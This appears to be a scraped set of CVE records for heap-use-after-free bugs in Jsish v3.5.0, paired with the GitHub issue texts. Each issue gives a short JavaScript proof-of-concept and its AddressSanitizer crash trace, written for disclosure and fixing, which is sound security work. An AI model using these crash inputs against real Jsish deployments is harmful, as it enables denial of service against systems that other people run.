https://github.com/pcmacdon/jsish/issues/84

CVE-2021-46498

2022-01-27T21:15:08.957

Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_wswebsocketObjFree in src/jsiWebSocket.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/81

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript console.printf= (new WebSocket); setTimeout(console, 100000); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js =====ERROR: AddressSanitizer: heap-use-after-free on address 0x61b000000080 at pc 0x55b167ed6de6 bp 0x7ffcd360f220 sp 0x7ffcd360f210 READ of size 4 at 0x61b000000080 thread T0 #0 0x55b167ed6de5 in jsi_wswebsocketObjFree src/jsiWebSocket.c:3190 #1 0x55b167e7ba2d in jsi_UserObjFree src/jsiUserObj.c:75 #2 0x55b167dfeefb in Jsi_ObjFree src/jsiObj.c:334 #3 0x55b167dffa0f in Jsi_ObjDecrRefCount src/jsiObj.c:440 #4 0x55b167cae3d1 in ValueFree src/jsiValue.c:178 #5 0x55b167cae3d1 in Jsi_ValueFree src/jsiValue.c:199 #6 0x55b167cae6cf in Jsi_DecrRefCount src/jsiValue.c:52 #7 0x55b167dfc697 in DeleteTreeValue src/jsiObj.c:177 #8 0x55b167e14384 in Jsi_TreeEntryDelete src/jsiTree.c:636 #9 0x55b167e15f10 in destroy_node src/jsiTree.c:496 #10 0x55b167e15f10 in destroy_node src/jsiTree.c:494 #11 0x55b167e15f10 in Jsi_TreeDelete src/jsiTree.c:515 #12 0x55b167dfe9df in Jsi_ObjFree src/jsiObj.c:348 #13 0x55b167dffa0f in Jsi_ObjDecrRefCount src/jsiObj.c:440 #14 0x55b167cae3d1 in ValueFree src/jsiValue.c:178 #15 0x55b167cae3d1 in Jsi_ValueFree src/jsiValue.c:199 #16 0x55b167cae6cf in Jsi_DecrRefCount src/jsiValue.c:52 #17 0x55b167dbe4d4 in Jsi_EventFree src/jsiCmds.c:204 #18 0x55b167cd44e2 in freeEventTbl src/jsiInterp.c:570 #19 0x55b167d768dd in Jsi_HashClear src/jsiHash.c:507 #20 0x55b167d76cd7 in Jsi_HashDelete src/jsiHash.c:526 #21 0x55b167ce787c in jsiInterpDelete src/jsiInterp.c:1936 #22 0x55b1684fe047 in jsi_main src/main.c:49 #23 0x7f5c2d555bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #24 0x55b167c8d969 in _start (/usr/local/bin/jsish+0xe8969) 0x61b000000080 is located 0 bytes inside of 1656-byte region [0x61b000000080,0x61b0000006f8) freed by thread T0 here: #0 0x7f5c2e1c47a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) #1 0x55b167ed6d22 in jsi_wswebsocketObjFree src/jsiWebSocket.c:3199 previously allocated by thread T0 here: #0 0x7f5c2e1c4d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x55b167cfeaa4 in Jsi_Calloc src/jsiUtils.c:57 SUMMARY: AddressSanitizer: heap-use-after-free src/jsiWebSocket.c:3190 in jsi_wswebsocketObjFree Shadow bytes around the buggy address: 0x0c367fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c367fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c367fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c367fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c367fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c367fff8010:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c367fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c367fff8030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c367fff8040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c367fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c367fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ```

Heap-use-after-free src/jsiWebSocket.c:3190 in jsi_wswebsocketObjFree

https://api.github.com/repos/pcmacdon/jsish/issues/81/comments

2021-12-24T10:48:23Z

2021-12-28T02:31:29Z

https://github.com/pcmacdon/jsish/issues/81

CVE-2021-46499

2022-01-27T21:15:09.003

Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_ValueCopyMove in src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/76

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript function JSEtest(){} var arr = /x?y?z?/.exec("abcd"); arr[arr[1000] = 3](arr.every(JSEtest), arr[1000] = 3, '1') ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ==99189==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000006e84 at pc 0x5637792b29cd bp 0x7ffef5f97e60 sp 0x7ffef5f97e50 READ of size 4 at 0x603000006e84 thread T0 #0 0x5637792b29cc in jsi_ValueCopyMove src/jsiValue.c:245 #1 0x5637792b29cc in Jsi_ValueCopy src/jsiValue.c:301 #2 0x5637795f6759 in jsi_ObjArraySetDup src/jsiEval.c:1054 #3 0x5637795f6759 in jsi_ValueObjKeyAssign src/jsiEval.c:1079 #4 0x5637795f6759 in jsiEvalCodeSub src/jsiEval.c:1303 #5 0x5637795fd15e in jsi_evalcode src/jsiEval.c:2204 #6 0x563779601274 in jsi_evalStrFile src/jsiEval.c:2665 #7 0x5637792f066a in Jsi_Main src/jsiInterp.c:936 #8 0x563779af503a in jsi_main src/main.c:47 #9 0x7f66650eebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #10 0x563779284969 in _start (/usr/local/bin/jsish+0xe8969) 0x603000006e84 is located 4 bytes inside of 32-byte region [0x603000006e80,0x603000006ea0) freed by thread T0 here: #0 0x7f6665d5d7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) #1 0x5637792a56cf in Jsi_DecrRefCount src/jsiValue.c:52 previously allocated by thread T0 here: #0 0x7f6665d5dd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x5637792f5aa4 in Jsi_Calloc src/jsiUtils.c:57 SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:245 in jsi_ValueCopyMove Shadow bytes around the buggy address: 0x0c067fff8d80: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8d90: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8da0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x0c067fff8db0: fa fa fd fd fd fd fa fa 00 00 04 fa fa fa 00 00 0x0c067fff8dc0: 04 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa =>0x0c067fff8dd0:[fd]fd fd fd fa fa 00 00 00 00 fa fa fd fd fd fd 0x0c067fff8de0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x0c067fff8df0: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c067fff8e00: 00 00 00 00 fa fa 00 00 00 00 fa fa fa fa fa fa 0x0c067fff8e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==99189==ABORTING ``` Credits: Found by OWL337 team.

Heap-use-after-free src/jsiValue.c:245 in jsi_ValueCopyMove

https://api.github.com/repos/pcmacdon/jsish/issues/76/comments

2021-12-24T10:44:21Z

2022-01-12T02:15:38Z

https://github.com/pcmacdon/jsish/issues/76

CVE-2021-46500

2022-01-27T21:15:09.047

Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_ArgTypeCheck in src/jsiFunc.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/85

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var JSEtest = [ 'aa', 'gg', 'hhh', 'mm', 'nn' ]; 'sort:' + JSEtest.sort(function (str, position) { return JSEtest.unshift('pop:' + JSEtest.pop()); }); !'concat:' + JSEtest.concat().every(function (E) { return 'sort:' + JSEtest.sort(function (str, position) { return JSEtest.unshift('pop:' + JSEtest.pop()); }); }); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js =====ERROR: AddressSanitizer: heap-use-after-free on address 0x603000007458 at pc 0x5566730cf1ca bp 0x7ffe092500c0 sp 0x7ffe092500b0 READ of size 1 at 0x603000007458 thread T0 #0 0x5566730cf1c9 in jsi_ArgTypeCheck src/jsiFunc.c:207 #1 0x556673158c49 in jsi_FuncCallSub src/jsiProto.c:263 #2 0x55667342171a in jsiFunctionSubCall src/jsiEval.c:796 #3 0x55667342171a in jsiEvalFunction src/jsiEval.c:837 #4 0x55667342171a in jsiEvalCodeSub src/jsiEval.c:1264 #5 0x55667343515e in jsi_evalcode src/jsiEval.c:2204 #6 0x556673158834 in jsi_FuncCallSub src/jsiProto.c:220 #7 0x5566730d4fec in jsi_FunctionInvoke src/jsiFunc.c:777 #8 0x5566730d4fec in Jsi_FunctionInvoke src/jsiFunc.c:789 #9 0x556673186fa8 in SortSubCmd src/jsiArray.c:970 #10 0x7f067f973311 (/lib/x86_64-linux-gnu/libc.so.6+0x42311) #11 0x7f067f9736b5 in qsort_r (/lib/x86_64-linux-gnu/libc.so.6+0x426b5) #12 0x55667318a611 in jsi_ArraySortCmd src/jsiArray.c:1065 #13 0x556673157818 in jsi_FuncCallSub src/jsiProto.c:244 #14 0x55667342171a in jsiFunctionSubCall src/jsiEval.c:796 #15 0x55667342171a in jsiEvalFunction src/jsiEval.c:837 #16 0x55667342171a in jsiEvalCodeSub src/jsiEval.c:1264 #17 0x55667343515e in jsi_evalcode src/jsiEval.c:2204 #18 0x556673158834 in jsi_FuncCallSub src/jsiProto.c:220 #19 0x5566730d4fec in jsi_FunctionInvoke src/jsiFunc.c:777 #20 0x5566730d4fec in Jsi_FunctionInvoke src/jsiFunc.c:789 #21 0x55667319bf64 in jsi_ArrayFindSubCmd src/jsiArray.c:576 #22 0x55667319bf64 in jsi_ArrayEveryCmd src/jsiArray.c:663 #23 0x556673157818 in jsi_FuncCallSub src/jsiProto.c:244 #24 0x55667342171a in jsiFunctionSubCall src/jsiEval.c:796 #25 0x55667342171a in jsiEvalFunction src/jsiEval.c:837 #26 0x55667342171a in jsiEvalCodeSub src/jsiEval.c:1264 #27 0x55667343515e in jsi_evalcode src/jsiEval.c:2204 #28 0x556673439274 in jsi_evalStrFile src/jsiEval.c:2665 #29 0x55667312866a in Jsi_Main src/jsiInterp.c:936 #30 0x55667392d03a in jsi_main src/main.c:47 #31 0x7f067f952bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #32 0x5566730bc969 in _start (/usr/local/bin/jsish+0xe8969) 0x603000007458 is located 8 bytes inside of 32-byte region [0x603000007450,0x603000007470) freed by thread T0 here: #0 0x7f06805c17a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) #1 0x5566730dd6cf in Jsi_DecrRefCount src/jsiValue.c:52 previously allocated by thread T0 here: #0 0x7f06805c1d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x55667312daa4 in Jsi_Calloc src/jsiUtils.c:57 SUMMARY: AddressSanitizer: heap-use-after-free src/jsiFunc.c:207 in jsi_ArgTypeCheck Shadow bytes around the buggy address: 0x0c067fff8e30: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x0c067fff8e40: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x0c067fff8e50: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c067fff8e60: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x0c067fff8e70: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd =>0x0c067fff8e80: fd fd fa fa fd fd fd fd fa fa fd[fd]fd fd fa fa 0x0c067fff8e90: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x0c067fff8ea0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x0c067fff8eb0: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c067fff8ec0: fd fd fd fd fa fa 00 00 00 00 fa fa fd fd fd fd 0x0c067fff8ed0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ```

Heap-use-after-free src/jsiFunc.c:207 in jsi_ArgTypeCheck

https://api.github.com/repos/pcmacdon/jsish/issues/85/comments

2021-12-24T10:51:56Z

2021-12-26T22:47:18Z

https://github.com/pcmacdon/jsish/issues/85

CVE-2021-46501

2022-01-27T21:15:09.097

Jsish v3.5.0 was discovered to contain a heap-use-after-free via SortSubCmd in src/jsiArray.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/86

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var JSEtest = [ 'aa', 'bb', 'cc' ]; var results = JSEtest; JSEtest.findIndex(function (kV) { JSEtest.sort(function (str, position) { results.push(kV); }); }); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ==106201==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000018678 at pc 0x56468deff5a0 bp 0x7fff9a37c2a0 sp 0x7fff9a37c290 READ of size 8 at 0x60c000018678 thread T0 #0 0x56468deff59f in SortSubCmd src/jsiArray.c:958 #1 0x7fb68d0b0311 (/lib/x86_64-linux-gnu/libc.so.6+0x42311) #2 0x7fb68d0b027d (/lib/x86_64-linux-gnu/libc.so.6+0x4227d) #3 0x7fb68d0b027d (/lib/x86_64-linux-gnu/libc.so.6+0x4227d) #4 0x7fb68d0b06b5 in qsort_r (/lib/x86_64-linux-gnu/libc.so.6+0x426b5) #5 0x56468df02611 in jsi_ArraySortCmd src/jsiArray.c:1065 #6 0x56468decf818 in jsi_FuncCallSub src/jsiProto.c:244 #7 0x56468e19971a in jsiFunctionSubCall src/jsiEval.c:796 #8 0x56468e19971a in jsiEvalFunction src/jsiEval.c:837 #9 0x56468e19971a in jsiEvalCodeSub src/jsiEval.c:1264 #10 0x56468e1ad15e in jsi_evalcode src/jsiEval.c:2204 #11 0x56468ded0834 in jsi_FuncCallSub src/jsiProto.c:220 #12 0x56468de4cfec in jsi_FunctionInvoke src/jsiFunc.c:777 #13 0x56468de4cfec in Jsi_FunctionInvoke src/jsiFunc.c:789 #14 0x56468df0dc0b in jsi_ArrayFindSubCmd src/jsiArray.c:576 #15 0x56468df0dc0b in jsi_ArrayFindIndexCmd src/jsiArray.c:666 #16 0x56468decf818 in jsi_FuncCallSub src/jsiProto.c:244 #17 0x56468e19971a in jsiFunctionSubCall src/jsiEval.c:796 #18 0x56468e19971a in jsiEvalFunction src/jsiEval.c:837 #19 0x56468e19971a in jsiEvalCodeSub src/jsiEval.c:1264 #20 0x56468e1ad15e in jsi_evalcode src/jsiEval.c:2204 #21 0x56468e1b1274 in jsi_evalStrFile src/jsiEval.c:2665 #22 0x56468dea066a in Jsi_Main src/jsiInterp.c:936 #23 0x56468e6a503a in jsi_main src/main.c:47 #24 0x7fb68d08fbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #25 0x56468de34969 in _start (/usr/local/bin/jsish+0xe8969) 0x60c000018678 is located 56 bytes inside of 128-byte region [0x60c000018640,0x60c0000186c0) freed by thread T0 here: #0 0x7fb68dcfef30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x56468dea5972 in Jsi_Realloc src/jsiUtils.c:47 previously allocated by thread T0 here: #0 0x7fb68dcfef30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x56468dea5972 in Jsi_Realloc src/jsiUtils.c:47 SUMMARY: AddressSanitizer: heap-use-after-free src/jsiArray.c:958 in SortSubCmd Shadow bytes around the buggy address: 0x0c187fffb070: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c187fffb080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c187fffb090: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c187fffb0a0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c187fffb0b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c187fffb0c0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd[fd] 0x0c187fffb0d0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c187fffb0e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c187fffb0f0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c187fffb100: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c187fffb110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==106201==ABORTING ```

Heap-use-after-free src/jsiArray.c:958 in SortSubCmd

https://api.github.com/repos/pcmacdon/jsish/issues/86/comments

2021-12-24T10:52:55Z

2021-12-26T22:47:42Z

https://github.com/pcmacdon/jsish/issues/86

CVE-2021-46502

2022-01-27T21:15:09.143

Jsish v3.5.0 was discovered to contain a heap-use-after-free via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/87

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var x = 3; if (("ab".replace("b", "ab".constructor).replace("b", "ab".constructor)!=="aa") || (x!==undefined)) { throw "Err-value!"; } ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js =====ERROR: AddressSanitizer: heap-use-after-free on address 0x602000001cf3 at pc 0x7fae379c366e bp 0x7ffdcb94e5a0 sp 0x7ffdcb94dd48 READ of size 2 at 0x602000001cf3 thread T0 #0 0x7fae379c366d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) #1 0x55927a403f60 in Jsi_Strlen src/jsiChar.c:29 #2 0x55927a508a57 in Jsi_DSAppendLen src/jsiDString.c:99 #3 0x55927a508e7f in Jsi_DSAppend src/jsiDString.c:129 #4 0x55927a40d4b8 in StringReplaceCmd src/jsiString.c:705 #5 0x55927a3ed818 in jsi_FuncCallSub src/jsiProto.c:244 #6 0x55927a6b771a in jsiFunctionSubCall src/jsiEval.c:796 #7 0x55927a6b771a in jsiEvalFunction src/jsiEval.c:837 #8 0x55927a6b771a in jsiEvalCodeSub src/jsiEval.c:1264 #9 0x55927a6cb15e in jsi_evalcode src/jsiEval.c:2204 #10 0x55927a6cf274 in jsi_evalStrFile src/jsiEval.c:2665 #11 0x55927a3be66a in Jsi_Main src/jsiInterp.c:936 #12 0x55927abc303a in jsi_main src/main.c:47 #13 0x7fae36de1bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #14 0x55927a352969 in _start (/usr/local/bin/jsish+0xe8969) 0x602000001cf4 is located 0 bytes to the right of 4-byte region [0x602000001cf0,0x602000001cf4) freed by thread T0 here: #0 0x7fae37a507a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) #1 0x55927a412c19 in StringConstructor src/jsiString.c:33 previously allocated by thread T0 here: #0 0x7fae37a50b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40) #1 0x55927a3c3a22 in Jsi_Malloc src/jsiUtils.c:52 SUMMARY: AddressSanitizer: heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) Shadow bytes around the buggy address: 0x0c047fff8340: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fff8350: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fff8360: fa fa fd fd fa fa fd fd fa fa 07 fa fa fa fd fd 0x0c047fff8370: fa fa 00 07 fa fa 00 fa fa fa 00 00 fa fa 00 00 0x0c047fff8380: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00 =>0x0c047fff8390: fa fa 00 00 fa fa fd fa fa fa fd fa fa fa[fd]fa 0x0c047fff83a0: fa fa fd fa fa fa 04 fa fa fa fa fa fa fa fa fa 0x0c047fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff83d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff83e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ```

Heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)

https://api.github.com/repos/pcmacdon/jsish/issues/87/comments

2021-12-24T10:53:39Z

2021-12-26T22:08:17Z

https://github.com/pcmacdon/jsish/issues/87

CVE-2021-46503

2022-01-27T21:15:09.187

Jsish v3.5.0 was discovered to contain a heap-use-after-free via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/88

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript try { var JSEtest = new String('test string'); var At = JSEtest.constructor(JSEtest); } catch (e) { } ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ==88163==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000001bf0 at pc 0x7f8c725b9733 bp 0x7ffeb1c188d0 sp 0x7ffeb1c18078 READ of size 11 at 0x602000001bf0 thread T0 #0 0x7f8c725b9732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) #1 0x5576fd6ba249 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #2 0x5576fd6ba249 in Jsi_StrdupLen src/jsiChar.c:74 #3 0x5576fd6c8ac0 in StringConstructor src/jsiString.c:35 #4 0x5576fd6a3818 in jsi_FuncCallSub src/jsiProto.c:244 #5 0x5576fd96d71a in jsiFunctionSubCall src/jsiEval.c:796 #6 0x5576fd96d71a in jsiEvalFunction src/jsiEval.c:837 #7 0x5576fd96d71a in jsiEvalCodeSub src/jsiEval.c:1264 #8 0x5576fd98115e in jsi_evalcode src/jsiEval.c:2204 #9 0x5576fd985274 in jsi_evalStrFile src/jsiEval.c:2665 #10 0x5576fd67466a in Jsi_Main src/jsiInterp.c:936 #11 0x5576fde7903a in jsi_main src/main.c:47 #12 0x7f8c719afbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #13 0x5576fd608969 in _start (/usr/local/bin/jsish+0xe8969) 0x602000001bf0 is located 0 bytes inside of 12-byte region [0x602000001bf0,0x602000001bfc) freed by thread T0 here: #0 0x7f8c7261e7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) #1 0x5576fd6c8c19 in StringConstructor src/jsiString.c:33 previously allocated by thread T0 here: #0 0x7f8c7261eb40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40) #1 0x5576fd679a22 in Jsi_Malloc src/jsiUtils.c:52 SUMMARY: AddressSanitizer: heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) Shadow bytes around the buggy address: 0x0c047fff8320: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fff8330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fff8340: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fff8350: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fff8360: fa fa fd fd fa fa fd fd fa fa 07 fa fa fa fd fd =>0x0c047fff8370: fa fa 00 07 fa fa 00 00 fa fa 00 04 fa fa[fd]fd 0x0c047fff8380: fa fa 00 04 fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff83a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==88163==ABORTING ```

Heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)

https://api.github.com/repos/pcmacdon/jsish/issues/88/comments

2021-12-24T10:54:21Z

2021-12-26T20:57:24Z

https://github.com/pcmacdon/jsish/issues/88

CVE-2021-46504

2022-01-27T21:15:09.233

There is an Assertion 'vp != resPtr' failed at jsiEval.c in Jsish v3.5.0.

https://github.com/pcmacdon/jsish/issues/51

github.com

